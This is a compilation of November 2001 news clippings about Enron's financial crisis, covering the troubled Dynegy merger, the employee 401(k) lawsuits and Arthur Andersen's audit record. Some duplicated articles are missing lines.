 that some of the investments it had written off were limited partnerships =
headed by CFO Andrew Fastow -- a serious breach of good corporate governanc=
e. Mr. Fastow was fired, but it didn't stop Enron's descent.=20
The pain may be far from over.=20
Facing a year of regulatory hearings to approve the merger, and a rapidly d=
evaluing asset in Enron, many fear Dynegy will walk away from the deal. If =
that happens, Enron may be doomed.=20
The stock closed Wednesday at US$5.01, down 93% this year. Dynegy closed at=
 US$39.76, valuing the Enron offer at US$10.67 a share. The fact that Enron=
's stock is trading so far below the offer price is a sure sign that invest=
ors doubt it will proceed, at least not at the current offer price.=20
All this has left investors wondering how so many could have been so wrong,=
 about so much. And how can so many continue to endorse the stock?=20
Of the 18 analysts that cover the stock, 10 still rate it a "buy." Goldman =
Sachs analyst David Fleisher removed Enron from his recommended list this w=
eek, but only after his firm was excluded from the banking syndicate arrang=
ing the Dynegy deal.=20
Carol Coale, an analyst at Prudential Securities, dropped Enron from "buy" =
to "sell" this week, citing its long history of spotty disclosure, and ofte=
n evasive answers to questions. She acknowledged to clients that her downgr=
ade is "too little, too late" for many.

Financial Post: World
Enron looking for US$1.5B boost to balance sheet: Expects cash from buyout =
firms, private equity investors
Robert Clow

National
FP12

NEW YORK - Officials working to shore up Enron Corp.'s balance sheet said y=
esterday the struggling energy trader hoped to receive capital injections o=
f more than US$1.5-billion as early as next week.=20
Enron is in talks about investments of US$250-million with JP Morgan Chase =
and Citigroup and is also hoping to raise at least US$1-billion from privat=
e equity investors.
People close to Enron declined to comment on which buyout firms might wish =
to invest in Enron, but the Blackstone Group, which was reported to be talk=
ing to the company before Dynegy Inc. made its US$9-billion rescue bid, is =
understood not to be talking to Enron any longer.=20
Members of the 20-strong bank lending group, led by JP Morgan Chase and Cit=
igroup, are being asked to defer the maturities of their upcoming debt unti=
l after completion of the merger.=20
The move comes as reports from Goldman Sachs & Co. and Fitch, the credit ra=
ting agency, raised questions about the company's cash flow and its medium-=
term viability.=20
David Fleischer, a Goldman Sachs analyst, argued that cash balances were in=
adequate to meet US$2.8-billion of debt obligations falling due before the =
end of the year. People close to Enron say that nearly US$1-billion of that=
 debt has already been restructured.=20
The Fitch report said that if the Dynegy deal was not completed Enron would=
 struggle to meet US$9-billion of obligations, due before the end of next y=
ear.=20
People close to Enron insisted Dynegy remained committed to the merger and =
played down talk of renegotiation.=20
Dynegy would shortly issue a statement reasserting its commitment to the de=
al, they predicted.=20
But bankers acknowledged the fate of the Dynegy deal was largely irrelevant=
 in terms of the company's immediate liquidity problems.=20
The company has raised about US$7-billion in cash, enough to cover its oper=
ating costs since a US$1.2-billion writedown of shareholder equity plunged =
it into crisis on Oct. 16.=20
However, the company's cash flow is being squeezed. The computer screens in=
 front of energy traders at Enron's London headquarters still glow, even if=
 they are doing much less business following the U.S. group's financial woe=
s.=20
The Belgravia offices house Europe's biggest electricity trader, which acco=
unts for about a fifth of all European power contracts, worth roughly (ps)7=
0-billion ($158-billion) last year in British, Nordic and other European ma=
rkets.=20
Fears over Enron's credit rating have prompted a sharp fall in its European=
 electricity trading. Nonetheless, some companies that had previously withd=
rawn from buying and selling power with Enron have resumed trading with it =
in the short-term market.=20
Few want to risk trading further than a week or two ahead, however, given c=
ontinuing doubts over the company's finances.

WHAT'S NEWS

The Globe and Mail=20
Metro
B9
"All material Copyright (c) Bell Globemedia Publishing Inc. and its licenso=
rs. All rights reserved."=20

Two Enron Corp. workers are suing the company, claiming it endangered their=
 retirement funds. The lawsuit, filed in Houston under the Employee Retirem=
ent Income Security Act, alleges that Enron encouraged the employees to inv=
est more heavily in company stock just before the stock tanked. The lawsuit=
 was filed by Portland, Ore., utility lineman Roy Rinard and co-worker, Ste=
ve Lacey. Enron shares have plunged more than 90 per cent over the past sev=
eral months after an accounting controversy that eventually caused it to re=
state its earnings since 1997, eliminating more than $580-million (U.S.) of=
 reported income.

COMPANIES & FINANCE THE AMERICAS - Enron 'awaiting' capital injections, say=
 officials.
By ROBERT CLOW.

Financial Times=20
(c) 2001 Financial Times Limited . All Rights Reserved=20

Officials working to shore up Enron's balance sheet yesterday said the stru=
ggling energy trader hoped to receive capital injections of more than $1.5b=
n as early as next week.=20
Enron is in talks about $250m investments with JP Morgan Chase and Citigrou=
p and is also hoping to raise at least $1bn from private equity investors.
to invest in Enron. However, the Blackstone Group, which was reported to be=
 talking to the company before Dynegy made its $9bn rescue bid, is understo=
od no longer to be doing so.=20
l after the completion of the merger.=20
The moves comes as reports from Goldman Sachs and Fitch, the credit rating =
agency, raised questions about the company's cash flow and its medium-term =
viability.=20
adequate to meet $2.8bn of debt obligations falling due before the end of t=
he year.=20
People close to Enron say that nearly $1bn of that debt has already been re=
The Fitch report said that if the Dynegy deal was not completed, Enron woul=
d struggle to meet $9bn of obligations due before the end of next year.=20
People close to Enron insisted that Dynegy remained committed to the merger=
 and played down talk of renegotiation.=20

Dynegy's Bid for Enron Appears Less Appealing --- Merger Deal Loses Luster =
as Shares Tumble --- Acquisition Target Faces Numerous Earnings Problems
By Rebecca Smith and John R. Emshwiller
Staff Reporters

The Wall Street Journal Europe=20
4

i-billion-dollar deal.=20
The pressure is coming from the continuing slide in the price of Enron shar=
es and the mounting financial problems at the Houston energy-trading compan=
y, the biggest marketer of electricity and natural gas in the U.S. In the p=
ast month, Enron has taken a $1 billion (1.1 billion euros) write-off of as=
sets, restated downward the past several years of earnings and taken a $1.2=
 billion reduction in shareholder equity. The problems owe largely to deali=
ngs Enron had with private partnerships run by some of its own executives n=
ow under investigation by the U.S. Securities and Exchange Commission. In d=
ocuments filed with the SEC on Monday, Enron disclosed hundreds of millions=
 of potential additional write-offs as well as the possibility that its wea=
kening financial condition could force it to repay more than $2 billion in =
loans by the end of the year.
On the New York Stock Exchange Wednesday, Enron shares were down 28% at $5.=
01 each, after having dropped some 23% on Tuesday. There was no trading Thu=
rsday. More than 115 million shares changed hands Wednesday, more than four=
 times the volume of any other Big Board stock. Enron's bonds also fell, tr=
aders said.=20
The turmoil spilled over to Dynegy's shares, which were also among the most=
 actively traded on the New York Stock Exchange. Dynegy shares were at $39.=
76 each on Wednesday, down $1.94.=20
Dynegy Chairman and Chief Executive Chuck Watson said his company was worki=
ng "to accelerate the regulatory approvals required to complete the merger =
in accordance with the previously announced agreement" though it continued =
doing due diligence review on Enron. Under the merger agreement, Dynegy has=
 opportunities to renegotiate or walk away from the deal if Enron's financi=
al and legal problems become severe enough.=20
Dynegy officials didn't return calls seeking comment. To consummate the dea=
l, two-thirds of Dynegy shareholders and a majority of Enron shareholders w=
ould have to give their approval. No dates for those votes have been set.=
=20
 of its shares for each of Enron's roughly 850 million fully diluted shares=
, giving the purchase a value of about $9 billion at Dynegy's current stock=
 price.=20
However, from a price point of view, the deal is looking ever less attracti=
ve to Dynegy.=20
8.63 a share, or about 83% of the purchase price under the exchange ratio. =
As of Wednesday, Enron's market price was only about 47% of the merger-form=
ula price.=20
Such a sharp deterioration is unusual following a merger announcement, when=
 the stock price of the company being acquired generally begins trading rel=
atively close to the offering price.=20
Sentiment among Wall Street analysts is also turning against the merger. In=
and provide a major boost to Dynegy. Dynegy and Enron executives have predi=
cted that the merger, which is supposed to be completed late next year, wou=
ld significantly and immediately increase Dynegy's earnings.=20
 at UBS Warburg LLC, said that because of Enron's financial problems a comb=
ined company would actually have lower earnings next year than Dynegy would=
 have by itself. Mr. Barone said a "likely scenario" is that the merger for=
mula will be renegotiated sharply lower to about 0.15 Dynegy shares for eac=
h Enron share.=20
Such a move wouldn't be without precedent. According to a person familiar w=
ith the merger negotiations, Dynegy reduced the exchange formula at least o=
nce prior to the Nov. 9 announcement because of Enron's rapidly sinking sto=
ck price, which at the beginning of this year was above $80 a share.=20
In perhaps the most significant sign of the turning tide on Wall Street, Go=
ldman Sachs analyst David Fleischer lowered his ratings on Enron and Dynegy=
. A longtime Enron fan, Mr. Fleischer issued a report expressing doubts tha=
t the merger would help Dynegy's earnings and whether Enron could "recover =
the significant business that has been lost" in its energy trading operatio=
ns. "The Enron machine continues to sputter," wrote Mr. Fleischer.=20
Some observers say that if Dynegy walked away from the deal or tried to sig=
nificantly renegotiate the terms, Enron might be pushed into bankruptcy. Wi=
thout the Dynegy acquisition and continued support from its bankers and cus=
tomers, an Enron request for bankruptcy protection from creditors "is highl=
y possible," said Ralph Pellecchia, a senior director at Fitch, a credit-ra=
tings agency. On Wednesday, Fitch maintained its credit rating on Enron at =
just one notch above noninvestment grade, or "junk" status. But Fitch also =
said that Enron's trading partners had made "significant cash collateral ca=
lls" in recent days that are "well in excess of previous expectations," con=
tributing to liquidity pressures.=20
Among the advisers Enron has hired during its current crisis is the law fir=
m of Weil, Gotshal & Manges, which has a specialty in bankruptcy and corpor=
ate restructuring. One energy trader said Wednesday that some colleagues ha=
d even started a betting pool about the timing of a possible Enron bankrupt=
cy filing. But he quickly added that he had no knowledge that the company h=
as contemplated such a step.=20
Asked about a possible bankruptcy filing, an Enron spokeswoman said the com=
pany expects the Dynegy deal to go through and therefore doesn't expect to =
have to look at alternatives to the merger. Since the merger announcement, =
Enron Chairman Kenneth Lay has said that his company had alternatives to th=
e Dynegy deal, but he has declined to identify them.=20
---=20
Thaddeus Herrick in Houston contributed to this article.

Enron Europe carries on trading.
By ANDREW TAYLOR, UTILITIES CORRESPONDENT.

Financial Times - FT.com=20

The screens in front of energy traders at Enron's London headquarters are s=
till glowing, even if they are doing much less business following the US gr=
oup's financial woes.=20
unts for about a fifth of all European power contracts, worth roughly GBP70=
bn ($99bn) last year in UK, Nordic and other European markets.
 electricity trading. Nonetheless, some companies which had previously with=
drawn from buying and selling power with Enron have resumed trading with it=
 in the short-term market.=20
ontinuing doubts over the company's finances. Whether Enron can survive dep=
ends on the commitment of Dynegy, the rival US energy group, to its $9bn re=
scue takeover announced two weeks ago.=20
John Sherriff, president and chief executive of Enron Europe, was anxious o=
n Thursday to show that it was still "business as usual" for his energy tra=
ders.=20
He estimates they are transacting about 70 per cent of the number of contra=
cts they would normally expect, but only about 40 per cent by volume. Rival=
 traders believe volumes may have fallen much further.=20
Contracts ranging from a day ahead to many years hence are used as a hedge =
to protect generators and retailers from risks of sudden price changes.=20
As financial instruments they are traded many times over. As a result, the =
total value of the transactions is much higher than the cost of the actual =
electricity delivered. However, the transactions play an increasingly impor=
tant role in oiling competitive electricity markets.=20
Rival European power companies and traders are anxious that Enron should no=
t fail.=20
Brian Senior, director of trading and asset management at Innogy, the UK ar=
m of the demerged National Power, said recent transactions had shown there =
was sufficient liquidity in European markets to cope if Enron disappeared.=
=20
Traders were more concerned that Enron might not be able to honour existing=
 long-term contracts. "This could have a domino effect, putting pressure on=
 other companies," said Mr Senior.=20
US power companies failed in similar circumstances after the Ohio-based Fed=
eral Energy defaulted on power contracts in 1998, he said.=20
Martin Stanley, president of European energy trading for TXU, another large=
 US energy group, said: "We are watching the situation carefully and would =
want to do nothing to add to Enron's problems by making unhelpful comments =
about their current position."=20
Mr Sherriff said: "Counter-parties are generally being very supportive."=20
Innogy said it had resumed limited trading with the US group but was "watch=
ing the situation carefully". TXU said: "We are still trading with Enron in=
 the short-term market but less than we were."=20
The Nordic market is one of the most active for power trading. US groups su=
ch as Enron, TXU and Dynegy have helped to expand the UK market, while Enro=
n has a strong base in Germany.=20
(c) Copyright Financial Times Group.=20

Business and Finance

The Wall Street Journal=20
A1

DYNEGY IS COMING under increasing pressure to renegotiate or walk away from=
 its deal to acquire Enron, due to the slide in the price of Enron shares a=
nd the mounting financial problems at the energy-trading company. Separatel=
y, Enron has been sued by members of its employee-retirement plan, which ha=
s suffered losses because of Enron's plunging stock price. In trading Wedne=
sday, Enron shares tumbled 28% to $5.01.=20
---
The economy could be declared officially in recession as early as today. Th=
e move comes amid signs that the recession already may be bottoming out, wi=
th initial jobless claims declining.=20
---=20
Norway offered to cut its oil production, becoming the latest independent e=
xporter to succumb to OPEC's wishes in an effort to prop up world oil price=
s.=20
---=20
WMC rejected a $6 billion takeover bid from Alcoa. The Australian mining co=
mpany said it plans to spin off part of the firm in hopes of fetching a hig=
her price.=20
---=20
Retail Brand is set to buy Brooks Brothers from Marks & Spencer for about $=
225 million, less than a third of what the U.K. firm paid in 1988 for the m=
en's retailer.=20
---=20
The FDA approved Lilly's drug Xigris to treat septic infections, a medicine=
 Wall Street believes could produce sales of more than $1 billion annually.=
=20
---=20
Argentina extended by one week a deadline for institutional investors to te=
nder their holdings in a giant debt swap.=20
---=20
UFJ and Sumitomo Mitsui announced a combined $24 billion in write-offs, as =
investors pressure Japanese banks to purge their balance sheets of bad loan=
s.=20
---=20
Archer-Daniels, Cargill and Riceland agreed to sell about $25 million of fa=
rm goods to Cuba, the first commercial food deal by the U.S. and Havana in =
40 years.=20
---=20
Microsoft's general counsel said he plans to retire at the end of the fisca=
l year. William Neukom will be succeeded by Brad Smith, deputy general coun=
sel.=20
---=20
Goldman Sachs could slash as many as 1,000 jobs due to the Wall Street slum=
p, a Merrill Lynch analyst said.=20
---=20
CIBC agreed to pay at least $297.8 million to acquire Merrill's Canadian br=
okerage and asset-management operations.=20
---=20
NTT reported a $2.13 billion loss for its fiscal first half, due to the Jap=
anese company's losses on overseas investments and domestic restructuring c=
osts.=20
---=20
South Korea's economy grew by 1.8% in the third quarter, showing a surprisi=
ng resilience during the global slump.=20
---=20
CSX tentatively settled litigation from a 1987 chemical-car fire that had l=
ed to an initial $2.5 billion judgment against the firm.=20
---=20
Markets --=20
Stocks: NYSE vol. 1,021,074,890 shares, Nasdaq vol. 1,556,321,162. Dow Jone=
s industrials 9834.68, off 66.70; Nasdaq 1875.05, off 5.46; S&P 500 index 1=
137.03, off 5.63.=20
Bonds:(2pm) 10-yr Treas off 25/32, yld 4.954%; 30-yr Treas off 21/32, yld 5=
.351%.=20
Commodities: Oil futures $18.96 a barrel, off $0.19; Dow Jones-AIG futures =
index 89.862, off 0.069; DJ spot index 96.62, up 0.42.=20
Dollar: 123.08 yen, up 0.56; 2.2246 marks, up 0.0092; euro 87.92 cents, off=
 0.37.

Enron Faces Suits by 401(k) Plan Participants
By Theo Francis and Ellen Schultz

C1

Enron Corp., the embattled Houston energy and trading company, has been sue=
d by members of its employee-retirement plan, which has suffered losses bec=
ause of Enron's plummeting stock price.=20
Two separate lawsuits, filed in federal court in Houston, allege Enron misl=
ed participants in its 401(k) retirement plan about the risks of investing =
in the company's shares and note that the company forced the employees to r=
emain invested in its stock even as the shares fell. Amid growing disclosur=
es of financial problems in recent weeks, the company "locked down" the ret=
irement plan from Oct. 17 to Nov. 19 to make administrative changes, which =
prevented employees from selling Enron shares as the share price collapsed.
Enron, which recently agreed to be acquired by Dynegy Inc., Houston, becaus=
e of mounting financial problems, has seen its stock price fall to $5.01 on=
 Wednesday from a peak of nearly $90 a share last year. The decline has bee=
n costly to participants in Enron's retirement plan because more than 60% o=
f the 401(k) assets were invested in Enron shares at the end of last year, =
according to one of the suits.=20
The first suit was filed Nov. 13 on behalf of plan participants by Campbell=
 Harrison & Wright LLP, a Houston law firm, and the second was filed Tuesda=
y by Seattle-based Hagens Berman LLP. Both seek class-action certification.=
=20
Enron said its corporate policy is not to comment on pending lawsuits. A sp=
okeswoman also said the company's 401(k) plan offers participants 18 invest=
ment choices, one of which is company stock.=20
The company's stock has fallen amid mounting losses and disclosures that it=
 had extensive off-balance-sheet dealings with a web of partnerships headed=
 by former company officials. The Securities and Exchange Commission has la=
unched a formal investigation into the company's accounting, and Enron has =
said it will restate years of financial information.=20
The suits against Enron are the latest of a series of suits filed against c=
ompanies over losses in the company-stock portion of their 401(k) plans. Th=
e suits allege the plan trustees breached their fiduciary duties by continu=
ing to offer company stock, even after they became aware of serious busines=
s problems that would hurt the stock price. All the suits are pending.=20
As with most of these companies, Enron matches employee contributions to th=
e 401(k) with shares of Enron stock, and also offers Enron stock as an inve=
stment choice, in addition to a variety of mutual funds. About $1.3 billion=
 of the plan's $2.1 billion in assets was invested in Enron shares at the e=
nd of 2000, according to the suit filed by Campbell Harrison.=20
Pamela Tittle, a participant in the 401(k) plan who worked in the finance d=
epartment and a named plaintiff in the Enron suit filed by Campbell Harriso=
n & Wright, had roughly 2,000 shares of Enron stock in her retirement accou=
nt and has suffered losses of about $140,000 as a result of the stock's dec=
line. The suit alleges that the trustees of the Enron 401(k) plan violated =
their fiduciary duties by not informing plan participants that the company =
stock was in peril.=20
The suit filed by Hagens Berman, also alleges that the company failed to wa=
rn participants about risks of remaining invested in Enron stock. In additi=
on, it accuses Enron of systematically misrepresenting its financial result=
s since 1998 in connection with the partnerships under investigation by the=
 SEC.=20
Roy E. Rinard, a lineman for Enron in Oregon who is a named plaintiff in th=
e suit filed by Hagens Berman, has seen the value of his retirement plan fa=
ll to $70,000 from $470,000, largely as a result of the decline in Enron's =
stock. "I feel like I have been betrayed," Mr. Rinard said in press release=
 issued by his lawyers. "I lost my savings, my plans for the future, everyt=
hing."=20
Under federal pension law, companies are allowed to offer their own stock i=
n retirement plans, and are allowed to force employees to hold onto the sto=
ck. Enron doesn't let employees diversify out of shares they receive as mat=
ching contributions to the 401(k) plan until age 50.=20
However, plan trustees are supposed to operate the plan in the best interes=
ts of the participants, which includes choosing prudent investments. Genera=
lly, to prove that the plan's administrators breached their fiduciary dutie=
s, employees must show that the trustees knew the stock was a bad investmen=
t. This presents a high hurdle, so it is not surprising that prior lawsuits=
 over losses in company stock in 401(k) plans have generally come in the wa=
ke of allegations of accounting irregularities.=20
Lynn Sarko, one of Ms. Tittle's attorneys with Seattle's Keller Rohrback LL=
P, is also co-lead counsel in a similar lawsuit against Lucent Technologies=
 Inc., Murray Hill, N.J. Another firm representing Ms. Tittle is Dalton Got=
to Samson & Kilgard PLC, which is lead counsel in a similar suit against Ik=
on Office Solutions Inc., Malvern, Pa. The two law firms are representing M=
s. Tittle with Campbell Harrison & Wright.=20
The suits against Lucent and Ikon, like the suit against Enron, allege that=
 then-current plan trustees kept offering company stock in the plan despite=
 knowing of serious business problems that would hurt the stock price. Repr=
esentatives for Ikon and Lucent say their companies didn't require employee=
s to invest in the company stock, and educated employees about the need for=
 diversification.=20
The suit in which Mr. Rinard is plaintiff notes that on Oct. 17, a day afte=
r Enron announced the company was taking a nonrecurring charge totaling $1.=
01 billion in the third quarter, Enron "locked down" the 401(k) plan's asse=
ts, preventing participants from selling Enron shares. (A "lock-down" occur=
s when a retirement plan is transferred from one administrator to another, =
and generally lasts several weeks, during which time participants can't mak=
e changes in their investment choices).=20
The lock-down was lifted on Nov. 19. In the interim, on Nov. 8, Enron annou=
nced it would be forced to restate downward its reported financial results =
from 1997 through 2000. By the time the lock-down was lifted, as a result o=
f all the negative news the shares had fallen to below $9 a share from $32.=
20 on Oct. 17, when the lockup started, Hagens Berman attorney Karl Barth s=
aid.=20
"They were locked into it right when Enron knew it was going to be announci=
ng some really bad news," Mr. Barth said. "Mr. Rinard's looking at having n=
o retirement savings now. It's a horrible thing to have to start over in yo=
ur 50s."

Enron says sorry as shares keep falling.

Energy Compass=20
(c) 2001 Energy Intelligence Group. All rights reserved=20

Investors in Enron must be wondering when their luck will change. The compa=
ny's shares were sent tumbling again this week after the company revealed t=
hat its credit crunch was worse than many investors thought. The news spurr=
ed talk that rival energy trader Dynegy may have to inject more cash under =
its plan to buy Enron - or could even walk away from the deal.=20
In a quarterly filing with the Securities and Exchange Commission, Enron sa=
id it must pay down a $690 million note by Nov. 27 because of the recent do=
wngrade of its credit rating. Unless Enron repays the note or posts a lette=
r of credit, the unidentified creditor can start liquidating Enron assets. =
These include CEG Rio, a gas distribution company in Brazil that Enron is a=
lready in the process of selling to pay down other debt.
At the market close on Tuesday, Enron shares stood at $6.99/share, about 39=
% below Dynegy's bid price of $11.60/share, and a fraction of the $90.75 pe=
ak reached in August 2000 when the company was in its asset-light pomp.=20
At least Enron is trying to say sorry - sort of. In a conference call with =
analysts and investors last week, chairman and chief executive Kenneth Lay =
indicated regret for the series of bad investments in non-core businesses t=
hat has nearly bankrupted the big energy trading company. "In hindsight, we=
 made some very bad investments in some non-core businesses," Lay acknowled=
ged. "I could not have ever contemplated the events we as a company and you=
 as a stakeholder have faced over the last several weeks. This has resulted=
 in a complete loss of investor confidence."=20
And, via the Dynegy deal, a complete loss of Enron independence, although e=
ven that is not cut and dried. If Enron fails to settle the $690 million de=
bt repayment next week, its credit rating would likely be reduced to sub-in=
vestment or "junk" status. And if that happened, it would qualify as a "mat=
erial adverse change," allowing Dynegy to pull out of the merger if it want=
ed to. Analysts doubt things will get this bad, still giving the deal a 70-=
90% chance of going through.

From Sunbeam to Enron, Andersen's Reputation Suffers

The New York Times=20
c. 2001 New York Times Company=20

THIS has been the worst year ever for Arthur Andersen, the accounting firm =
that once deserved the title of conscience of the industry. The Securities =
and Exchange Commission filed civil fraud complaints against the Andersen p=
artner who audited Sunbeam and against the firm itself in the Waste Managem=
ent case.=20
Now Enron has repudiated the financial statements that were certified by Ar=
thur Andersen, in the process shaving more than half a billion dollars from=
 the company's reported profits in recent years.
All of which raises the question: Has Arthur Andersen become the black shee=
p of the accounting industry?=20
It is not an easy question to answer, and not everyone is willing to rush t=
o judgment. ''If you want to attack Andersen for Enron, you need to know mo=
re than we know,'' Arthur Levitt, the former chairman of the Securities and=
 Exchange Commission, said this week.=20
But if there is a thread connecting what is known about the three cases, it=
 is materiality. In all three cases, Andersen auditors spotted bad accounti=
ng but were persuaded it was immaterial and therefore allowed it to go ahea=
d.=20
Materiality is one of those flexible concepts that can get accountants into=
 trouble. The idea is that it doesn't much matter if a few little things we=
re gotten wrong. But they can add up.=20
At Enron, however, they did not add up to that much -- a total of $93 milli=
on over four years. The biggest restatement of Enron profits concerns a rel=
ated party that Enron now says should have been consolidated. It is not cle=
ar if Andersen had the facts needed to make that decision at the time.=20
To those who treasure the role of auditors, the humiliation of Andersen is =
painful. Back in the 1950's, it was Leonard Spacek, Andersen's managing par=
tner, who warned that ''the profession's existence is in peril'' because it=
 was not showing enough independence. His public prodding was crucial in ma=
king the industry do a better job. Two decades ago, when the issue on the t=
able was pension accounting, Andersen was the only major accounting firm to=
 break with clients and push for good rules.=20
Now Andersen's backbone is open to question. It was evidence that senior pe=
ople at Andersen repeatedly gave in to pressure from Waste Management that =
led the S.E.C. to bring that suit, which the firm chose to settle without a=
dmitting it had done anything wrong. The partner that the S.E.C. says looke=
d the other way at Sunbeam is fighting the accusations, and Andersen says h=
e acted properly.=20
Lynn Turner, who was chief accountant of the S.E.C. at the time and is now =
director of the Center for Quality Financial Reporting at Colorado State Un=
iversity, says what is happening to Andersen now is reminiscent of what hap=
pened to Coopers & Lybrand when he was a partner there and the firm had a s=
eries of highly publicized blown audits.=20
''We got bludgeoned to death in the press,'' he said. ''People did not even=
 want to see us at their doorsteps. It was brutal, but we deserved it. We h=
ad gotten into this mentality in the firm of making business judgment calls=
.'' By that he meant that the firm paid too much attention to not offending=
 clients and not enough to good accounting.=20
For Andersen to avoid that fate, its relatively new chief executive, Joseph=
 Berardino, who declined to be interviewed for this column, will need to se=
t a tone inside the firm making clear that he expects auditors to show the =
backbone that Mr. Spacek epitomized. And then he will have to convince the =
public of that.

Dynegy Deal To Buy Enron Hits Crossroads

A3

ibillion-dollar deal.=20
The pressure is stemming from the continuing slide in the price of Enron sh=
ares and the mounting financial problems at the Houston energy-trading comp=
any, the nation's biggest marketer of electricity and natural gas. During t=
he past month, Enron has taken a $1 billion write-off of assets, revised do=
wnward the earnings of the past several years and taken a $1.2 billion redu=
ction in shareholder equity.
gy shares fell $1.94 to $39.76 each.=20
on.=20
Such a ratcheting down wouldn't be without precedent in the deal. According=
 to one person familiar with the merger negotiations, Dynegy reduced the ex=
change formula at least once prior to the Nov. 9 announcement because of En=
ron's rapidly sinking stock price, which at the beginning of this year was =
above $80 a share.=20
the significant business that has been lost" in its giant energy-trading op=
erations. "The Enron machine continues to sputter," Mr. Fleischer wrote.=20
Some observers say that if Dynegy walked away from the deal or tried to ren=
egotiate the terms significantly, Enron might be pushed into a bankruptcy-l=
aw filing. Without the Dynegy acquisition and continued support from its ba=
nkers and customers, an Enron bankruptcy-court filing "is highly possible,"=
 said Ralph Pellecchia, a senior director at Fitch, a credit-ratings agency=
. On Wednesday, Fitch maintained its credit rating on Enron at just one not=
ch above noninvestment-grade, or "junk," status. But Fitch also said it bel=
ieved Enron's trading partners had made "significant cash collateral calls"=
 in recent days that are "well in excess of previous expectations," contrib=
uting to "liquidity pressures."=20
m of Weil, Gotshal & Manges, which specializes in bankruptcy and corporate-=
workout situations. Asked about a possible bankruptcy filing, an Enron spok=
eswoman said the company expects the Dynegy deal to go through and therefor=
e doesn't expect to have to look at alternatives to the merger. Since the m=
erger announcement, Enron Chairman Kenneth Lay has said his company had alt=
ernatives to the Dynegy deal but he has declined to identify them. Enron sa=
id it made some progress improving its financial position. The company said=
 it reached a final agreement with units of J.P. Morgan Chase & Co. and Cit=
igroup Inc. on the remaining $450 million of a previously announced $1 bill=
ion in secured credit lines. Enron said lenders had agreed to extend repaym=
ent of an existing $690 million note to mid-December from next week. The sp=
okeswoman said a restructuring of that obligation is expected to be complet=
ed next month so that repayment wouldn't be required this year.=20
---=20
Thaddeus Herrick and Robin Sidel contributed to this article.

Options Report
Premiums Stay High on Enron's Near Options, And `Doubling Up' Date Looms fo=
r Tax Losses
By Kopin Tan
Dow Jones Newswires

C11

NEW YORK -- Volatility and premiums on Enron's near-month options remain ex=
tremely high. It is a sign that investors are willing to pay a rich price f=
or option protection and expect the stock to be unsettled as the Houston co=
mpany sorts through its credit and debt problems and seeks to calm frazzled=
Enron near-month defensive puts traded heavily in an otherwise quiet sessio=
n Wednesday, as investors bought them to hedge. The December 5 puts traded =
more than 10,000 contracts and jumped 45 cents to $1.10 at the Chicago Boar=
d Options Exchange. The stock closed down $1.98, or 28%, to $5.01, as of 4 =
p.m. in New York Stock Exchange composite trading.
Enron's calls traded actively as some investors sold them to generate incom=
e. Traders noted some call buying -- especially after Enron procured a thre=
e-week extension on a $690 million note -- as some hopeful investors bet on=
 Enron pulling through its troubles and proceeding with its merger with Dyn=
egy Inc. Enron's December 5 calls traded more than 14,500 contracts, compar=
ed with open interest of 710, as they fell $1.45 to $1.15 at the CBOE.=20
For investors who want to book a tax loss on beaten-down stocks, the "wash =
sale" rule can be a hurdle, because it essentially prevents taxpayers from =
selling stock or securities at a loss and then reacquiring "substantially i=
dentical" securities within a 30-day period before or after that loss. This=
 poses a problem for those who want to book a loss yet own stocks whose pri=
ces now make them attractive "buy" candidates.=20
In addition, the Internal Revenue Service has taken the position that the w=
ash-sale rule will disallow a loss if the investor sells an in-the-money pu=
t, because there is a strong likelihood that stock will be put to or acquir=
ed by the investor.=20
So investors typically get around the wash-sale rule by "doubling up": buyi=
ng additional stock or options, waiting at least 31 days, and then selling =
the original stock to book the loss. Investors double up by buying calls, w=
hich locks a price to buy stock and achieves the same effect as buying addi=
tional stock.

INDIA PRESS: Enron May Sell Dabhol Stake For $500 Mln

11/22/2001
Dow Jones International News=20

NEW DELHI -(Dow Jones)- Enron Corp. (ENE) may be forced to sell its stake i=
n Dabhol Power Co. for around $500 million, half of the asking price of $1 =
billion, reports the Business Standard, quoting the New York Times.=20
According to the report, Tata Power Co. (P.TPW) and BSES Ltd. (P.BSX) - the=
 Indian bidders for Enron's 65% stake in the 2,184 megawatt Dhabol plant - =
were reportedly willing to pay only half of the asking price. If the lender=
s and prospective buyers adopt a take it-or-leave it posture, Enron may hav=
e little choice but to accept their offer and take a huge loss, the newspap=
er said.
Dabhol, located in the western Indian state of Maharashtra, is India's larg=
est single foreign investment at $2.9 billion.=20
Newspaper Web site: www.business-standard.com=20

-By Himendra Kumar; 91-11-461-9426; himendra.kumar@dowjones.com

Lawsuit claims Enron led workers astray, hurt retirement funds%)

HOUSTON (AP) - Two Enron Corp. workers are suing the company, claiming it e=
ndangered their retirement funds.=20
The lawsuit, filed in federal court in Houston under the Employee Retiremen=
t Income Security Act, asserts that Enron encouraged the employees to inves=
t more heavily in company stock just before the stock tanked. The lawsuit w=
as filed by Portland, Ore., utility lineman Roy Rinard and co-worker, Steve=
 Lacey.
Enron shares have plunged more than 90 percent over the past several months=
 after the departure of the company's chief executive and an accounting con=
troversy that eventually caused it to restate its earnings since 1997, elim=
inating more than $580 million of reported income.=20
Steve Berman, managing partner for the law firm of Hagens Berman in Seattle=
, said Enron touted the value of its stock and encouraged employees to put =
their entire portfolio into Enron stock.=20
Enron officials didn't emphasize the risk and instead painted the situation=
 as positive, especially when the company's stock began to slide, said Berm=
an, who is hoping to get the suit certified as a class-action case.=20
Berman wants to prove that the 401(k) plan executives failed to act respons=
ibly when they knew about serious business problems. He's also hoping to br=
eak new legal ground with his case.=20
The lawsuit is patterned after a case against Lucent Technologies in which =
Lucent employees sued their employer this summer for matching their 401(k) =
contributions with company stock that later tanked. That case is still in l=
itigation.=20
Earlier this year 54-year-old Rinard had $472,000 in his 401(k) plan, which=
 had been growing for 21 years. Today, the plan is worth about $40,000. Enr=
on gives its employees their 401(k) match in company stock.=20
In January, Enron was trading for $84.87. Wednesday it closed at $5.01 a sh=
are.=20
The problem was compounded when many employees, including Rinard, saw Enron=
's stock doing so well that they decided to put their entire account into E=
nron stock.=20
Enron executives were talking about how the stock price was poised to climb=
 above $100 a share, he told the Houston Chronicle for Thursday's editions.=
=20
Another troubling feature of the Enron 401(k) plan was that employees were =
not allowed to make trades for about a month. The lockdown began Oct. 17, t=
he day after Enron surprised the market that it was taking a $1.01 billion =
after-tax third-quarter charge to get out of bad investments.=20
Enron officials, who could not be reached, have said they had planned the l=
ockdown for several months because it was changing plan administrators.

Enron Workers Sue, Claim Troubled Energy Company Endangered Retirement Fund=
s

Associated Press=20
HOUSTON -- Two Enron Corp. workers are suing the company, claiming it endan=
gered their retirement funds.
